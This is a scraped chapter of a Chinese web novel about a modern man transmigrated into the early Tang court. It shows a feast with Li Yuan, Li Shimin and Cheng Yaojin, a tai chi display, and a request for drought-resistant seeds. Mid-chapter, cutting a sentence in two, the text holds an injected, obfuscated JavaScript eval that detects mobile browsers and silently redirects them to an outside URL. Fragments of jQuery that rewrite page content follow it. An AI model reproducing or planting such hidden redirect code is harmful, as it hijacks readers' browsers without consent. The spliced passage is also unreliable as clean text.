11. 你被鬼附身了?
作品:《我在大唐建农场》 那边李世民听不见他们的言语,看着毫无动静的门,屈膝跪地,“以前只觉得您偏心大哥,是儿臣错想了您。”
元卿扒拉着门,看得津津有味。
历史上,自从玄武门之后,李渊和李世民的关系十分微妙,难道这一次会有所不同?
李渊这个端水大师做得十分失败,但李世民似乎也没好到哪里去。
为了刺激因失母而堕落的李承乾,给了四子李泰极大的权力和恩宠,一度让他“宠冠诸王”,滋生了李泰夺位的野心,最后双双翻车。
李承乾被废,流放黔州,死时年仅26岁,而李泰也没好到哪里去,终身圈禁,33岁就死了。
失败的端水大师,毁了两个优秀的儿子,结果,大唐的江山让李治捡了便宜。
不过,现在唐高宗李治好像还没出生?
断断续续的声音进入李世民脑中,虽然有些词他听不懂,但他明白了大意。
他差点没跪稳,惊骇而起。
他以后会走上和他父亲一样的老路,两个嫡子全都惨淡收场?
不行,他也一定要问清楚。
身刚起到一半,门就开了,李渊黑着脸站在门口,“你现在是这天下之主了,朕……我连跪都不配让你跪一会儿了?”
李世民又默默跪了回去,“您是父,我是子,您当然配。”
李渊也不想当着那么多人的面给李世民难堪,心头那口气缓了缓,挥手让他起了身。
他目光一斜,瞥到扒着门框看戏的元卿,刚消下去的气又提了上来,指着李世民的鼻子破口大骂,“你们不是一伙的吗?他还帮你杀了老大,现在人却被你弄得痴痴傻傻,连自己叫什么都不知道了。”
李世民缓缓回头,死亡的视线凝在元卿身上。
元卿举起双手,看向李渊僵硬笑道,“阿耶,我不是说了吗,我只是看见您老人家太高兴,忘了,并不是真的傻了。”
李渊狠狠瞪了他一眼,他知道不是真傻,但此时不就是想找机会骂某个混账吗,非得拆他的台。
一个两个的,都是不孝子!
元卿一看李渊气得就差冒烟了,连忙上前灭火,“马上就开饭了,咱消消气。”
李渊吸气吐气再吸气,终于让脸色好看了点,借坡下驴跟着元卿走了。
李世民幽幽盯着元卿的背影,差点气笑,好人倒是全让他做了。
好在晚上还算凉快,在火堆旁也不觉得非常热,否则六月的天,元卿也不敢搞这个篝火。
桌案是下午找工匠临时打的,还散发着清新的竹香,食物被一盘盘端了出来,餐盘不够,就用竹筒代替,原生原态健康环保,元卿很满意。
他唯一不满意的就是没有打一口炒锅和烤架,否则他可以现场给他们表演一个烤烤串。
气氛在程咬金和元卿的烘托下渐渐热烈起来,苏勖边吃边叹,“有酒有肉,就是可惜没有舞乐。”
程咬金眼珠子一转,看向元卿,“我记得李郎君善使方槊,不如给大家来一段?”
他想看看这人是真忘了还是假忘了。
元卿心里翻了个白眼,脸上却笑得十分灿烂,他朝埋头苦吃的李承奖招了招手,“三郎,来,给大家表演一个。”
李承奖应了一声,茫然地看着他老子。
表演啥?
元卿沉吟片刻,“就表演我教你的太极吧。”
虽然他强行让李承奖拜了程咬金为师,但依旧教着他太极,李承奖已经小有所成。
程咬金缓缓捂住了眼,自从那晚听到那段发癫似的口号后,他再也没看过元卿教学,他怕他忍不住骂娘。
李承奖是个不怕生的,抖了抖袖子走到场中,挠了挠头,“我开始了啊?”
元卿给了他一个‘可以’的眼神。
李承奖原地站定,手随着声音动作,“起势开步,按掌提壶,野马分鬃,左右分弧。”
正在啃肉的程咬金抬起头,‘咦’了一声,怎么和他之前听到的不一样?
他定眼看去,只见李承已经进行到了第二式,“白鹤亮翅,意气如酥。搂膝拗步,推掌进足。”
程咬金浑身一震,这招式有点意思,看似软绵无力,实则蕴含着一股刚劲。
元卿慢悠悠地欣赏着自己的教学成果。
不得不说,李承奖这习武天赋确实好,即便圆滚滚的也打得有模有样,比他当初学太极时速度快多了。
李世民也放下了手中的酒杯看了起来,他自然看出了这套拳法的妙处,若能融会贯通,不失为制敌之法。
程咬金却直接蹭了起来,走向李承奖,“三郎,用你刚刚这套拳法和我比划比划,别想着用哪招,随心所欲就好。”
因为他知道有些人学拳学了根本不会用,制敌的时候,还去思考用哪招,那时候早就完了。
这种只能在实战中不断加强身体记忆。
小家伙跃跃欲试的眼中带着点紧张,他还没和人对打过,这个人还是他师父。
他点点头,摆开架势,竟有模有样。
李渊偏头对身旁的人道,“这孩子瞧着不错。”
说完才反应过来旁边的人是李世民,他瞬间又板起了脸。
对面的元卿差点笑出声,这便宜爹还是个傲娇男?
历史上说他早期深谋远虑,晚期听信谗言,逃不出大多数帝王年轻时英明,年老昏聩的宿命。
但他却觉得晚年的李渊是有点孤独的,和唯一的嫡子关系微妙,权力被架空,只能在女色上做文章。
野史传李渊退位后,为了报复李世民,给他生了一大堆弟弟妹妹,也不知道是真是假。
李世民听到这段心声,脸都绿了,不管是真是假,他都绝不会让它变成真的。
宗室太多,对财政也是一种负担。
场上,李承奖已经和程咬金过了几招,但显然李承奖因为年龄小,个子矮,全程被程咬金带着走,但即便这样,也能瞧出他的武学天赋。
他不拘泥于固定的招式顺序,可以很快应对程咬金的进攻。
李承奖越打,眼睛越亮,几乎使出了吃奶的力气。
如果说之前是因为好玩才拜的师,现在他是真的有点崇拜这个师父了,看起来好厉害的样子。
他从地上爬起来,抱住程咬金的腿,“师父,您刚才的是什么拳法?教教我吧。”
秦琼喝酒的手一顿,看向程咬金,“你收徒了?”
程咬金尴尬,说收不是,他并非自愿,说没收,又教了人家几日了,这让他怎么解释?
无言片刻,他只得道,“有人强塞的。“
秦琼震惊,“你还有被人强买强卖的时候?”
程咬金呵呵,他也没想到自己会有今日。
悠悠的目光撇向怡然自得的元卿,不知道为什么,他总觉得以后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386806|200086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这样的日子会不少。
当然,前提是,那个骗子能活过今晚。
他应付完李承奖,提着酒坛走到元卿案前,腆着脸笑道,“郎君,我观这套拳法颇有宗师之风,教教我如何?”
元卿茫然,“这套拳法只能强身健体,学来何用?”
程咬金差点没忍住,翻了个白眼,他之前是真的信了他的鬼话。
“这要看谁用了,我倒觉得这拳法非常玄妙,能攻能守。”程咬金直接道,“郎君别废话,你就直说教不教吧?”
把人弄死之前,先把好处要了。
元卿立马道,“教,必须得教,将军直接问三郎就好。”
这送上门的人情不要白不要。
程咬金有点为难,这是让徒弟教他这师父?
李承奖却毫无这个意识,大声道,“我都会了,我可以教师父。”
程咬金一摸脑袋,“成吧。”
趁着气氛正浓,元卿举杯面向李世民,“恭贺陛下荣登大宝,御极天下,愿我大唐万世昌平,九州来贺。”
众人见状纷纷跟着起身,“愿我大唐万世昌平,九州来贺。”
李渊静静地坐在上首,看着这一群年轻朝气的面孔,心里那点郁闷竟然不知不觉间散了些许。
火光映红了众人的脸颊,元卿笑着饮尽杯中酒。
大唐即便在整个华夏史上也有着浓墨重彩的一笔,哪怕在千年后的现代,后辈子孙出海留洋,也以自称唐人为荣。
李世民眉梢微动,又听到了几个关键词,千年后,现代,出海留洋。
看来这来历不明的魂魄是来自千年后,难怪,能预知未来的发展,对他也十分了解,想必是从史书上得来。
想起后世对大唐的评价,自豪之外陡然升起一股压力。
这时元卿凑了过来,笑得十分纯良,“陛下,草民有个不情之请。”
不知为什么,看着他这副表情,李世民忍不住想噎他,“既然是不情之请,那就别请了。”
元卿,“……”
你怎么不按套路出牌呢?
“我觉得还是请吧。”元卿飞速道,“草民正在研究抗旱作物,手里缺少种子,想请陛下派一队人替我搜罗,不拘于什么,只要能吃就行。”
李世民想起了之前听到的消息,他登基后,关中连年大旱,蝗灾肆虐长安,他也正准备忙过了这阵儿,就找人想对策。
但元卿已经考虑到了,这是利国利民的好事,他没理由不答应。
他点点头,“允,朕把苏勖留给你,以后想做什么就找他,只要不是太过分,他都会满足你。”
元卿看向那位精得像狐狸似的人,有点不想和他打交道,但他已经得了一寸,不能再进尺了。
苏勖也听到了他们的对话,朝他遥遥行了个礼。
元卿叹气,就不能给他找一个傻白甜吗?但话又说回来,要是真傻,李世民也不会把人收入麾下了。
“四弟,朕这刚登基,你觉得有什么需要注意的地方吗?”李世民慢吞吞开口。
元卿有点傻眼,这种问题拿来问他合适吗?
元卿打马虎眼,“陛下龙章凤姿,天日可表,诸邪必退,该注意的是别人才对。”
程咬金啐了一口,“狗腿。”
苏勖跟上,“谄媚。”
李渊却瞪大了眼,哆嗦着手指着元卿,“你被鬼附身了?”

